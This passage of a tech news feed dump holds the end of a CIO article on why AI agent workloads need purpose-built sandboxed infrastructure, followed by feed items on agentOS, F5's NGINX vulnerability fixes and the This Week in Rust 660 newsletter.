<p class="wp-block-paragraph">Concretely, it requires four things. First, isolated execution environments that provision in milliseconds, not minutes, so each agent task gets its own sandbox for code execution and tool calls without blocking the reasoning loop. The difference between a two-second environment and a two-minute environment is not a performance optimization; it determines whether the architecture is viable at all. Second, durable state management across the full task lifecycle, so an agent can pause, hand off or resume without re-initializing from scratch and burning tokens to reconstruct context it already built. Third, coordination primitives for multi-agent work: The ability to spawn subagents, pass structured outputs between them and track task dependencies across a graph of concurrent processes. Production agent systems are rarely single agents; they are pipelines of specialized agents with handoffs that need to be reliable and inspectable. Fourth, credentials and secrets management that travel with the execution context, so agents can authenticate to external services securely without exposing credentials in the task definition, logs or the environment variables of a shared container.</p>



<h2 class="wp-block-heading">The mismatch shows up fast in production</h2>



<p class="wp-block-paragraph">Kubernetes and EKS expose the mismatch quickly in practice. Pod eviction terminates an agent mid-task with no clean recovery path. Autoscaling reads CPU utilization as the load signal, but an agent holding a long inference connection looks idle to the scheduler even when it is doing the most consequential work in the pipeline. Provisioning a new environment takes 45 seconds to two minutes on a well-tuned cluster; agent workloads need that in under two seconds or the reasoning loop stalls and the user experience degrades visibly. These are not edge cases or misconfigurations. They are the normal operating conditions for production agent workloads running on infrastructure that was not designed for them.</p>



<p class="wp-block-paragraph">The utilization data makes the broader cost picture even starker. The<a href="https://url.usb.m.mimecastprotect.com/s/zk-6CB1MnMHEQoqvI6hNf2eRQz?domain=cast.ai/" target="_blank" rel="noreferrer noopener"> 2026 State of Kubernetes Optimization Report</a> from CAST AI, drawn from analysis of over 23,000 production clusters across AWS, Azure and GCP, found average CPU utilization at 8 percent, down from 10 percent the year prior. Memory utilization fell from 23 to 20 percent. CPU overprovisioning jumped from 40 to 69 percent year over year. These numbers reflect clusters running traditional workloads, and the pattern is worsening, not improving, as environments scale. Agent workloads compound this problem further. An agent holding an open inference connection or waiting on a tool call registers as idle to a scheduler that reads CPU and memory as the only meaningful load signals. The infrastructure responds to the wrong metric, overprovisioning capacity for demand it cannot measure, while the actual bottleneck, environment provisioning latency and state continuity, goes unaddressed.</p>



<h2 class="wp-block-heading">Security is not the same problem it was before</h2>



<p class="wp-block-paragraph">Agent workloads change the threat model at the infrastructure level. A compromised stateless service exposes a narrow surface defined by its API contracts. A compromised agent exposes every system it can reach, every credential it holds and every action it is authorized to take on behalf of the user. Agents generate and execute their own code, make non-deterministic tool-call decisions and accumulate context across long-running sessions. Standard container namespacing does not contain that kind of risk. Kernel-level isolation, default-deny network egress, scoped credentials per session and agent-aware observability are not optional hardening steps. They are baseline requirements for running agents in production.</p>



<h2 class="wp-block-heading">What teams that ship agents have already figured out</h2>



<p class="wp-block-paragraph">Some of the clearest evidence for this shift comes not from infrastructure vendors but from product engineering teams running agents at scale on their own code. In late 2025, Ramp’s engineering team published a<a href="https://url.usb.m.mimecastprotect.com/s/Co8bCDwO0Ohg2PpXhAiRfjbcM8?domain=engineering.ramp.com" target="_blank" rel="noreferrer noopener"> detailed account of building Inspect</a>, their internal background coding agent. Each Inspect session runs in a sandboxed VM with a full-stack development environment and deep integrations across their observability, CI, and deployment tooling. The architecture requirements map almost exactly to the four primitives above. Filesystem snapshots keep sessions starting in seconds rather than minutes. Sessions are isolated and stateful. The agent can run tests, review telemetry, query feature flags and visually verify frontend changes in a real browser. And the whole system supports unlimited concurrency, so engineers can spin up ten parallel sessions exploring different approaches to the same problem without contention.</p>



<p class="wp-block-paragraph">The results speak for themselves. Within months of launch, roughly 30 percent of all pull requests merged to Ramp’s frontend and backend repositories were written by Inspect. That level of adoption was not mandated. It happened because the execution environment was fast enough, capable enough and well-integrated enough that the agent was strictly better than a local workflow for a meaningful share of tasks. The key insight from the Ramp case is not about the model. It is about the execution layer. As their team put it, session speed should only be limited by model-provider time-to-first-token; everything else, like cloning and installing, needs to be done before the session starts. That is a statement about infrastructure, not intelligence.</p>



<h2 class="wp-block-heading">The ecosystem is catching up, but defaults are sticky</h2>



<p class="wp-block-paragraph">None of that is a criticism of the tools. Kubernetes solved exactly the problem it was designed for, and it solved it well. The issue is that infrastructure defaults are sticky. Teams inherit them, build on top of them and optimize within their constraints long after the underlying workload has changed. The Kubernetes community’s own response, the<a href="https://url.usb.m.mimecastprotect.com/s/U22qCA8LmLh7yY0jIGfGfGdvGo?domain=kubernetes.io/" target="_blank" rel="noreferrer noopener"> Agent Sandbox project under SIG Apps</a>, validates the thesis that a new abstraction is necessary. The new primitives the community is building include warm pools for near-zero cold starts, lifecycle management for suspending and resuming idle agents without losing state, and pluggable kernel isolation for secure execution of untrusted code. These are not incremental improvements to existing resources. They are net-new abstractions that acknowledge the old model does not stretch to fit.</p>



<p class="wp-block-paragraph">But adoption of purpose-built agent infrastructure remains early. Enterprises building agent pipelines today are largely running a request-oriented orchestration model against an execution-oriented workload, and the mismatch shows up in task failure rates, runaway costs and debugging cycles that have no good tooling because the observability layer was also designed for stateless services.</p>



<h2 class="wp-block-heading">The structural advantage is available now</h2>



<p class="wp-block-paragraph">The infrastructure to close that gap exists now. The prerequisite is recognizing that agent execution is a first-class compute pattern with its own primitives and its own requirements, not a variant of the stateless service model that defined the last decade. Teams that make that shift early will have a meaningful structural advantage. The ones that do not will spend the next two years wondering why their agent systems are unreliable at a scale that should be tractable.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[agentOS: Run AI Agents in a Secure Linux Sandbox]]></title>
<description><![CDATA[The post agentOS: Run AI Agents in a Secure Linux Sandbox first appeared on Tecmint: Linux Howtos, Tutorials & Guides .I burned through half of my E2B sandbox budget in just two weeks by spinning up containers for AI agents
The post agentOS: Run AI Agents in a Secure Linux Sandbox first appeared ...]]></description>
<link>https://tsecurity.de/de/3672580/unix-server/agentos-run-ai-agents-in-a-secure-linux-sandbox/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672580/unix-server/agentos-run-ai-agents-in-a-secure-linux-sandbox/</guid>
<pubDate>Thu, 16 Jul 2026 09:02:37 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The post <a href="https://www.tecmint.com/agentos-run-ai-coding-agents-secure-linux-sandbox/">agentOS: Run AI Agents in a Secure Linux Sandbox</a> first appeared on <a href="https://www.tecmint.com/">Tecmint: Linux Howtos, Tutorials &amp; Guides</a> .<p>I burned through half of my E2B sandbox budget in just two weeks by spinning up containers for AI agents</p>
The post <a href="https://www.tecmint.com/agentos-run-ai-coding-agents-secure-linux-sandbox/">agentOS: Run AI Agents in a Secure Linux Sandbox</a> first appeared on <a href="https://www.tecmint.com/">Tecmint: Linux Howtos, Tutorials &amp; Guides</a>.]]></content:encoded>
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<title><![CDATA[F5 Fixes NGINX Flaws Enabling Code Execution, Memory Leaks and DoS Attacks]]></title>
<description><![CDATA[F5 has disclosed three security vulnerabilities affecting NGINX Plus and NGINX Open Source, including a critical flaw that could allow remote code execution on systems with weakened memory protections. The advisories, published July 15, 2026, span core NGINX modules used widely across production ...]]></description>
<link>https://tsecurity.de/de/3672478/it-security-nachrichten/f5-fixes-nginx-flaws-enabling-code-execution-memory-leaks-and-dos-attacks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672478/it-security-nachrichten/f5-fixes-nginx-flaws-enabling-code-execution-memory-leaks-and-dos-attacks/</guid>
<pubDate>Thu, 16 Jul 2026 08:07:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>F5 has disclosed three security vulnerabilities affecting NGINX Plus and NGINX Open Source, including a critical flaw that could allow remote code execution on systems with weakened memory protections. The advisories, published July 15, 2026, span core NGINX modules used widely across production web infrastructure, cloud gateways, and Kubernetes ingress deployments. The most severe issue, […]</p>
<p>The post <a href="https://cyberpress.org/f5-fixes-nginx-flaws-enabling-code-execution/">F5 Fixes NGINX Flaws Enabling Code Execution, Memory Leaks and DoS Attacks</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[This Week In Rust: This Week in Rust 660]]></title>
<description><![CDATA[Hello and welcome to another issue of This Week in Rust!
Rust is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
@thisweekinrust.bsky.social on Bluesky or
@ThisWeekinRu...]]></description>
<link>https://tsecurity.de/de/3672376/tools/this-week-in-rust-this-week-in-rust-660/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672376/tools/this-week-in-rust-this-week-in-rust-660/</guid>
<pubDate>Thu, 16 Jul 2026 07:09:13 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hello and welcome to another issue of <em>This Week in Rust</em>!
<a href="https://www.rust-lang.org/">Rust</a> is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
<a href="https://bsky.app/profile/thisweekinrust.bsky.social">@thisweekinrust.bsky.social</a> on Bluesky or
<a href="https://mastodon.social/@thisweekinrust">@ThisWeekinRust</a> on mastodon.social, or
<a href="https://github.com/rust-lang/this-week-in-rust">send us a pull request</a>.
Want to get involved? <a href="https://github.com/rust-lang/rust/blob/main/CONTRIBUTING.md">We love contributions</a>.</p>
<p><em>This Week in Rust</em> is openly developed <a href="https://github.com/rust-lang/this-week-in-rust">on GitHub</a> and archives can be viewed at <a href="https://this-week-in-rust.org/">this-week-in-rust.org</a>.
If you find any errors in this week's issue, <a href="https://github.com/rust-lang/this-week-in-rust/pulls">please submit a PR</a>.</p>
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<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-rust-community">Updates from Rust Community</a></h4>


<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#official">Official</a></h5>
<ul>
<li><a href="https://blog.rust-lang.org/2026/07/09/Rust-1.97.0/">Announcing Rust 1.97.0</a></li>
<li><a href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/">crates.io: development update</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#projecttooling-updates">Project/Tooling Updates</a></h5>
<ul>
<li><a href="https://bun.com/blog/bun-in-rust">Rewriting Bun in Rust</a></li>
<li><a href="https://bullmq.io/news/260712/rust-release/">Announcing BullMQ for Rust</a></li>
<li><a href="https://github.com/zs-dima/prost-protovalidate/releases/tag/v0.6.0">prost-protovalidate 0.6 — buf.validate (protovalidate) for prost and buffa: compile-time codegen + runtime CEL, 2872/2872 conformance</a></li>
<li><a href="https://github.com/StaszeKrk/plaza/releases/tag/v1.0.0">plaza 1.0: a ratatui package-manager TUI that searches pacman, the AUR, apt, dnf, and Flatpak at once</a></li>
<li><a href="https://github.com/danube-messaging/danube/releases/tag/v0.15.1">Danube v0.15.1: native Apache Iceberg integration for streaming-to-lakehouse export</a></li>
<li><a href="https://www.willsearch.com.br/sentinel/">Guardian Sentinel. The Terminal User Interface for Guardian Decentralized Database - P2P</a></li>
<li><a href="https://github.com/kunobi-ninja/kobe/releases/tag/v0.33.0">kobe 0.33.0: a Rust operator for instant CI Kubernetes clusters</a></li>
<li><a href="https://navigatorbuilds.github.io/elara-mesh/blog/black-box-for-ai-agents.html">Elara Mesh: what the black box for AI agents actually does</a></li>
<li>
<p><a href="https://github.com/kunobi-ninja/kache/releases/tag/v0.10.0">kache 0.10.0: instant download dedup, no more polling</a></p>
</li>
<li>
<p><a href="https://richer-richard.github.io/cochlea/">cochlea 0.1.0: a headless, deterministic audio engine for AI agents</a></p>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#observationsthoughts">Observations/Thoughts</a></h5>
<ul>
<li><a href="https://opensourcesecurity.io/2026/2026-07-rfmf-lori-niko/">Open Source Security Podcast: Rust Foundation Maintainers Fund with Lori and Niko</a></li>
<li><a href="https://pulsebeam.dev/blog/moving-to-thread-per-core">Moving a Rust WebRTC SFU to thread-per-core</a></li>
<li><a href="https://abundance.build/blog/2026-07-11-faster-rust-tests-in-ci-with-parallel-steps/">Faster Rust tests in CI with parallel steps</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=fugcSHD-9Jw">The Only Diagram You Need to Understand Rust Ownership</a></li>
<li><a href="https://encore.dev/blog/typescript-parser-wasm">We compiled our TypeScript parser to WASM</a></li>
<li><a href="https://kerkour.com/rust-hype">Understanding the Rust hype for the busy developer</a></li>
<li><a href="https://dev.to/akavlabs_69/i-red-teamed-my-own-llm-security-gateway-in-four-passes-heres-every-gap-i-found-5cl9">I red-teamed my own LLM security gateway (Rust) in four passes — every detection gap and how I closed it</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-walkthroughs">Rust Walkthroughs</a></h5>
<ul>
<li>[video] <a href="https://www.youtube.com/watch?v=DJhhy6YQe8k">Backend Concepts in Rust: HTTP Servers</a></li>
<li><a href="https://dystroy.org/blog/picamobile/">Fearless Embedded Rust: A FPV Lego car</a></li>
<li><a href="https://www.aravpanwar.com/writing/building-decayfmt-in-rust/">What I learned building a self-corrupting file format in Rust</a></li>
<li><a href="https://corentin-core.github.io/posts/ruxe-async-runtime-agnostic/">Come Async You Are</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#miscellaneous">Miscellaneous</a></h5>
<ul>
<li><a href="https://blog.theembeddedrustacean.com/oxidize-xiao">Oxidize XIAO — An Embedded Rust Community Program</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#crate-of-the-week">Crate of the Week</a></h4>
<p>This week's crate is <a href="https://crates.io/crates/dashu">dashu</a>, a pure Rust set of libraries of arbitrary precision numbers.</p>
<p>Thanks to <a href="https://users.rust-lang.org/t/crate-of-the-week/2704/1628">JacobZ</a> for the self-suggestion!</p>
<p><a href="https://users.rust-lang.org/t/crate-of-the-week/2704">Please submit your suggestions and votes for next week</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#calls-for-testing">Calls for Testing</a></h4>
<p>An important step for RFC implementation is for people to experiment with the
implementation and give feedback, especially before stabilization.</p>
<p>If you are a feature implementer and would like your RFC to appear in this list, add a
<code>call-for-testing</code> label to your RFC along with a comment providing testing instructions and/or
guidance on which aspect(s) of the feature need testing.</p>
<p><em>No calls for testing were issued this week by
<a href="https://github.com/rust-lang/rust/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rust</a>,
<a href="https://github.com/rust-lang/cargo/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Cargo</a>,
<a href="https://github.com/rust-lang/rustup/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rustup</a> or
<a href="https://github.com/rust-lang/rfcs/issues?q=label%3Acall-for-testing%20state%3Aopen">Rust language RFCs</a>.</em></p>
<p><a href="https://github.com/rust-lang/this-week-in-rust/issues">Let us know</a> if you would like your feature to be tracked as a part of this list.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#call-for-participation-projects-and-speakers">Call for Participation; projects and speakers</a></h4>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-projects">CFP - Projects</a></h5>
<p>Always wanted to contribute to open-source projects but did not know where to start?
Every week we highlight some tasks from the Rust community for you to pick and get started!</p>
<p>Some of these tasks may also have mentors available, visit the task page for more information.</p>



<ul>
<li><a href="https://github.com/supernovae-st/nika/issues/424">Nika - showcase: CSV → chart PNG → markdown report (nika:chart has no example yet)</a></li>
</ul>


<p>If you are a Rust project owner and are looking for contributors, please submit tasks <a href="https://github.com/rust-lang/this-week-in-rust?tab=readme-ov-file#call-for-participation-guidelines">here</a> or through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-events">CFP - Events</a></h5>
<p>Are you a new or experienced speaker looking for a place to share something cool? This section highlights events that are being planned and are accepting submissions to join their event as a speaker.</p>



<p>If you are an event organizer hoping to expand the reach of your event, please submit a link to the website through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-the-rust-project">Updates from the Rust Project</a></h4>
<p>550 pull requests were <a href="https://github.com/search?q=is%3Apr+org%3Arust-lang+is%3Amerged+merged%3A2026-07-07..2026-07-14">merged in the last week</a></p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler">Compiler</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/158931">inline some <code>Symbol</code> functions</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157104">predicate/clause cleanups</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158942">remove some AST <code>tokens</code> fields</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159019">resolver: wrap arenas in <code>WorkerLocal</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158794">rework read deduplication with pooled read recorders</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159012">shrink <code>mir::Statement</code> to 40 bytes</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157491">shrink no-op drop elaboration</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158865">specialize common <code>(1, 1)</code> case for arg unification</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158842">use SmallVec for return places in MIR</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#library">Library</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/158866">add explicit <code>Iterator::count</code> impl for <code>ChunkBy</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157153">allow <code>Allocator</code>s to be used as <code>#[global_allocator]</code>s</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158876">fix multiple logic bugs in <code>Arc::make_mut</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158940">implement feature <code>char_to_u32</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159092">make volatile operations const</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158541">move <code>std::io::Write</code> to <code>core::io</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159099">stabilize <code>String::from_utf8_lossy_owned</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/151379">stabilize <code>VecDeque::retain_back</code> from <code>truncate_front</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cargo">Cargo</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/cargo/pull/17199"><code>install</code>: Move --debug to Compilation options</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17204"><code>source</code>: incorrect duplicate package warning</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17202">fix manifest schema generation: <code>TomlDebugInfo</code> enum-variants doesn't renamed</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17198">dont apply host-config gating to stable behavior</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17191">reduce library search path length in new build dir layout</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17168">reduce rustc <code>-L</code> args used in the new <code>build-dir</code> layout</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17149">rename <code>-Zno-embed-metadata</code> to <code>-Zembed-metadata=no</code></a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17203">test: fix race in <code>cargo_compile_with_invalid_code_in_deps</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#clippy">Clippy</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/15000">add new lints: <code>rest_pattern_accessible_field</code> and <code>unnecessary_rest_pattern</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16965">new lint: <code>definition_in_module_root</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17343"><code>arbitrary_source_item_ordering</code>: add configurable trait impl item ordering modes</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17387"><code>tests_outside_test_module</code>: put code in backticks in the lint message</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17215">count length of the first paragraph by its text</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16980">fix <code>suboptimal_flops</code> false negative with ambiguous float literals</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17416">partly disable <code>unneeded_wildcard_pattern</code> when <code>rest_pattern_accessible_field</code> is enabled</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17404">respect the configured MSRV in <code>implicit_saturating_sub</code>'s <code>if x != 0 { x -= 1 }</code> rewrite</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16513">trigger <code>single_element_loop</code> if the block contains only a final expression</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16808">optimize <code>nonstandard_macro_braces</code> by 99.9683% (1.1b → 351K)</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17381">perf: bail out of the <code>disallowed_methods</code> rule if the disallowed list is empty</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-analyzer">Rust-Analyzer</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22771">ask for disclosure in AI contributions</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22734">add fixes for array length for <code>type_mismatch</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22741">add parens in transformed dyn type in ref type</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22736">avoid panic in merge imports on trailing path separator</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22654">change some things for <code>#[doc = macro!()]</code> expansion</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22770">clamp cttz const-eval result to type width</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22751">correctly handled cfg'ed tail expr, take 2</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22749">crash on code actions when an unresolved module is present</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22707">crash when computing diagnostics with MIR and error types</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22744">don't complete default in default impl</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22283">early late classification of lifetimes</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22583">fix <code>render_const_using_debug_impl</code> constructing outdated std layouts</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22735">fix proc macros <code>TokenStream::from_str()</code> for doc comments</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22464">hide private fields on hover depending on context</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22753">make lsp-server <code>Response</code> type closer aligned to JSON-RPC</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22535">pretty assoc const when trait in macro</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22747">reimplement <code>crate_supports_no_std</code> syntactic heuristic</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22773">resolve non-plain paths in blocks correctly</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22683">support Cargo 1.97.0 lockfile path setting</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22405">hir-ty: walk container exprs for <code>unused_must_use</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22768">fix onEnter erroneously deleting/interpreting <code>$foo</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22726">suggest code action fixes produced from diagnostics under cursor, even if they have effects elsewhere</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22777">treat library files as truly client immutable</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22534">turn <code>BlockLoc</code> into a tracked struct, take 3</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-compiler-performance-triage">Rust Compiler Performance Triage</a></h5>
<p>This week many new optimizations landed, making this a very good week for performance.
The only real regression was a fix for a miscompile that will likely be re-landed in the future.</p>
<p>Triage done by <strong>@JonathanBrouwer</strong>.
Revision range: <a href="https://perf.rust-lang.org/?start=3659db0d3e2cd634c766fcda79ed118eca31a9fd&amp;end=5503df87342a73d0c29126a7e08dc9c1255c46ad&amp;absolute=false&amp;stat=instructions%3Au">3659db0d..5503df87</a></p>
<p><strong>Summary</strong>:</p>
<table>
<thead>
<tr>
<th>(instructions:u)</th>
<th>mean</th>
<th>range</th>
<th>count</th>
</tr>
</thead>
<tbody>
<tr>
<td>Regressions ❌ <br> (primary)</td>
<td>0.3%</td>
<td>[0.2%, 0.4%]</td>
<td>3</td>
</tr>
<tr>
<td>Regressions ❌ <br> (secondary)</td>
<td>0.9%</td>
<td>[0.1%, 2.5%]</td>
<td>25</td>
</tr>
<tr>
<td>Improvements ✅ <br> (primary)</td>
<td>-1.2%</td>
<td>[-9.9%, -0.2%]</td>
<td>195</td>
</tr>
<tr>
<td>Improvements ✅ <br> (secondary)</td>
<td>-3.4%</td>
<td>[-92.1%, -0.1%]</td>
<td>174</td>
</tr>
<tr>
<td>All ❌✅ (primary)</td>
<td>-1.2%</td>
<td>[-9.9%, 0.4%]</td>
<td>198</td>
</tr>
</tbody>
</table>
<p>2 Regressions, 10 Improvements, 10 Mixed; 7 of them in rollups
36 artifact comparisons made in total</p>
<p><a href="https://github.com/rust-lang/rustc-perf/blob/212da2d63f1edf2ab22293547a99f0fbf8cb68a8/triage/2026/2026-07-13.md">Full report here</a></p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#approved-rfcs"></a><a href="https://github.com/rust-lang/rfcs/commits/master">Approved RFCs</a></h5>
<p>Changes to Rust follow the Rust <a href="https://github.com/rust-lang/rfcs#rust-rfcs">RFC (request for comments) process</a>. These
are the RFCs that were approved for implementation this week:</p>
<ul>
<li><a href="https://github.com/rust-lang/rfcs/pull/3955">Named <code>Fn</code> trait parameters</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#final-comment-period">Final Comment Period</a></h5>
<p>Every week, <a href="https://www.rust-lang.org/team.html">the team</a> announces the 'final comment period' for RFCs and key PRs
which are reaching a decision. Express your opinions now.</p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#tracking-issues-prs">Tracking Issues &amp; PRs</a></h6>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust"></a><a href="https://github.com/rust-lang/rust/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Rust</a>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159179">enable <code>unreachable_cfg_select_predicates</code> lint as part of <code>unused</code> lint group</a></li>
<li><a href="https://github.com/rust-lang/rust/issues/156906">Stabilize <code>dyn Allocator</code></a></li>
<li><a href="https://github.com/rust-lang/rust/issues/146954">Tracking Issue for vec_try_remove</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157226">Partially stabilize <code>box_vec_non_null</code></a></li>
<li><a href="https://github.com/rust-lang/rust/issues/152761">Never break between empty parens</a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler-team-mcps-only"></a><a href="https://github.com/rust-lang/compiler-team/issues?q=label%3Amajor-change%20label%3Afinal-comment-period%20state%3Aopen">Compiler Team</a> <a href="https://forge.rust-lang.org/compiler/mcp.html">(MCPs only)</a>
<ul>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1015">Enable <code>-Zpolonius=next</code> on nightly</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1014">Enable <code>-Znext-solver</code> on nightly by default for testing</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1012">Stabilizing the state of the debuginfo test suite</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/922">Optimize <code>repr(Rust)</code> enums by omitting tags in more cases involving uninhabited variants.</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/841">Proposal for Adapt Stack Protector for Rust</a></li>
</ul>
<p><em>No Items entered Final Comment Period this week for
<a href="https://github.com/rust-lang/cargo/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Cargo</a>,
<a href="https://github.com/rust-lang/reference/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Reference</a>,
<a href="https://github.com/rust-lang/lang-team/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Team</a>,
<a href="https://github.com/rust-lang/leadership-council/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Leadership Council</a>,
<a href="https://github.com/rust-lang/rfcs/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Rust RFCs</a> or
<a href="https://github.com/rust-lang/unsafe-code-guidelines/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Unsafe Code Guidelines</a>.</em></p>
<p>Let us know if you would like your PRs, Tracking Issues or RFCs to be tracked as a part of this list.</p>
